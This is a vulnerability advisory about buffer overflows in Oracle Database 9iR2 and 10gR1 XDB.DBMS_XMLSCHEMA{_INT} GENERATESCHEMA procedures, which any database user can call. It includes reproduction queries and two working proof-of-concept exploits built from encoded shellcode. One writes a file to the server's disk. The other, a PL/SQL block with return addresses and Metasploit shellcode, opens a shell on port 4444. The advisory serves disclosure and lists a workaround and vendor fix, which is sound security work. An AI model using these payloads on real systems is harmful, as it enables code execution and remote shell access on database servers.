[NT] Oracle Database Public Procedures of XDB.DBMS_XMLSCHEMA{_INT} Buffer Overflows

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  Oracle Database Public Procedures of XDB.DBMS_XMLSCHEMA{_INT} Buffer 
Overflows
------------------------------------------------------------------------


SUMMARY

Improper length validation of XDB.DBMS_XMLSCHEMA.GENERATESCHEMA in Oracle 
Database, allows attackers to execute arbitrary code by using spicily 
crafted query.

DETAILS

Vulnerable Systems:
 * Oracle Database Server version 9iR2
 * Oracle Database Server version 10gR1

Oracle Database Server provides the DBMS_XMLSCHEMA and DBMS_XMLSCHEMA_INT 
Packages that include procedures to register and delete XML schemas. These 
packages contain the public procedures GENERATESCHEMA and GENERATESCHEMAS 
that are vulnerable to buffer overflow attacks.

By default XDB.DBMS_XMLSCHEMA{_INT} has EXECUTE permission to PUBLIC so 
any Oracle database user can exploit this vulnerability. Exploitation of 
this vulnerability allows an attacker to execute arbitrary code. It can 
also be exploited to cause DOS (Denial of service) killing Oracle server 
process.

To reproduce the vulnerabilities execute the next PL/SQL:

SELECT XDB.DBMS_XMLSCHEMA.GENERATESCHEMA('LongStringHere', 
'OrLongStringHere') from dual;

SELECT XDB.DBMS_XMLSCHEMA.GENERATESCHEMAS('LongStringHere', 
'OrLongStringHere') from dual;

DECLARE
  a SYS.XMLTYPE; -- return value
BEGIN
  a := XDB.DBMS_XMLSCHEMA_INT.GENERATESCHEMA ('LongStringHere', 
'OrLongStringHere', '', FALSE, FALSE, FALSE);
END;

DECLARE
 a SYS.XMLSEQUENCETYPE; -- return value
BEGIN
  a := XDB.DBMS_XMLSCHEMA_INT.GENERATESCHEMAS ('LongStringHere', 
'OrLongStringHere', '', '', FALSE, FALSE);
END;


Proof of Concept:
Shellcode creates file c:\Unbreakable.txt and writes "ARE YOU SURE?":
SELECT XDB.DBMS_XMLSCHEMA.GENERATESCHEMA ('a', 
'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBBBBCCC
CCCCCCCABCDE' || chr(212)||chr(100)||chr(201)||chr(01)
||chr(141)||chr(68)||chr(36)||chr(18)||chr(80)||chr(255)||chr(21)
||chr(192)||chr(146)||chr(49)||chr(02)||chr(255)||
chr(21)||chr(156)||chr(217)||chr(49)||chr(2)||chr(32)||'echo ARE YOU SURE? 
>c:\Unbreakable.txt') FROM DUAL;

Shellcode opens a shell on port 4444 from www.metasploit.com:
DECLARE a SYS.XMLTYPE; -- return value
AAA VARCHAR2(32767);
AA VARCHAR2(32767);
BBB VARCHAR2(32767);
JMP VARCHAR2(32767);
RET VARCHAR2(32767);
RETT VARCHAR2(32767);
SHELLCODE VARCHAR2(32767);
BEGIN
AAA:='A';
AAA:=AAA || AAA;
AAA:=AAA || AAA;
AAA:=AAA || AAA;
AAA:=AAA || AAA;
AAA:=AAA || AAA;
AAA:=AAA || AAA;
JMP := 'BB' ||chr(235) || chr(09);
RETT:= chr(138) || chr(153) || chr(255) ||chr(191);
RET:= chr(219) || chr(176) || chr(10) ||chr(08);
SHELLCODE 
:=chr(41)||chr(201)||chr(219)||chr(201)||chr(177)||chr(22)||chr(184)||chr(37)
||chr(84)||chr(39)||chr(117)||chr(217)||chr(116)||chr(36)||chr(244)||chr(95)
||chr(131)||chr(199)||chr(4)||chr(49)||chr(71)||chr(17)||chr(3)||chr(98)
||chr(69)||chr(197)||chr(128)||chr(93)||chr(190)||chr(90)||chr(40)||chr(206)
||chr(42)||chr(95)||chr(196)||chr(150)||chr(242)||chr(198)||chr(145)||chr(183)
||chr(206)||chr(121)||chr(55)||chr(116)||chr(131)||chr(31)||chr(80)||chr(107)
||chr(127)||chr(134)||chr(243)||chr(2)||chr(158)||chr(44)||chr(146)||chr(76)
||chr(49)||chr(224)||chr(12)||chr(229)||chr(80)||chr(207)||chr(49)||chr(69)
||chr(244)||chr(1)||chr(210)||chr(104)||chr(121)||chr(243)||chr(71)||chr(36)
||chr(57)||chr(125)||chr(134)||chr(120)||chr(219)||chr(176)||chr(201)||chr(235)
||chr(78)||chr(73)||chr(147)||chr(187)||chr(176)||chr(128)||chr(163)||chr(242)
||chr(183)||chr(227)||chr(20)||chr(15)||chr(26)||chr(124)||chr(122)||chr(32)
||chr(233)||chr(20)||chr(236)||chr(17)||chr(111)||chr(140)||chr(130)||chr(228)
||chr(140)||chr(28)||chr(8)||chr(127)||chr(179)||chr(108)||chr(46);
BBB:= JMP || RET ||'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
'||SHELLCODE||'
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBB';
AA := AAA || BBB;
a := XDB.DBMS_XMLSCHEMA_INT.GENERATESCHEMA (SCHEMANAME => AA, TYPENAME => 
'longstring', ELEMENTNAME => '', RECURSE => FALSE, ANNOTATE => FALSE, 
EMBEDCOLL => FALSE);
END;

Workaround:
Restrict access to the XDB.DBMS_XMLSCHEMA and XDB.DBMS_XMLSCHEMA_INT 
packages.

Vendor Status:
The vendor has issued a fix:  
<http://www.oracle.com/technology/deploy/security/pdf/cpujan2006.html> 
http://www.oracle.com/technology/deploy/security/pdf/cpujan2006.html


ADDITIONAL INFORMATION

The information has been provided by  <mailto:cesarc56@xxxxxxxxx> Cesar.
The original article can be found at:  
<http://www.argeniss.com/research/ARGENISS-ADV-010601.txt> 
http://www.argeniss.com/research/ARGENISS-ADV-010601.txt
The Proof of Concept can be found at:  
<http://www.argeniss.com/research/OraGENERATESCHEMAExploits.txt> 
http://www.argeniss.com/research/OraGENERATESCHEMAExploits.txt



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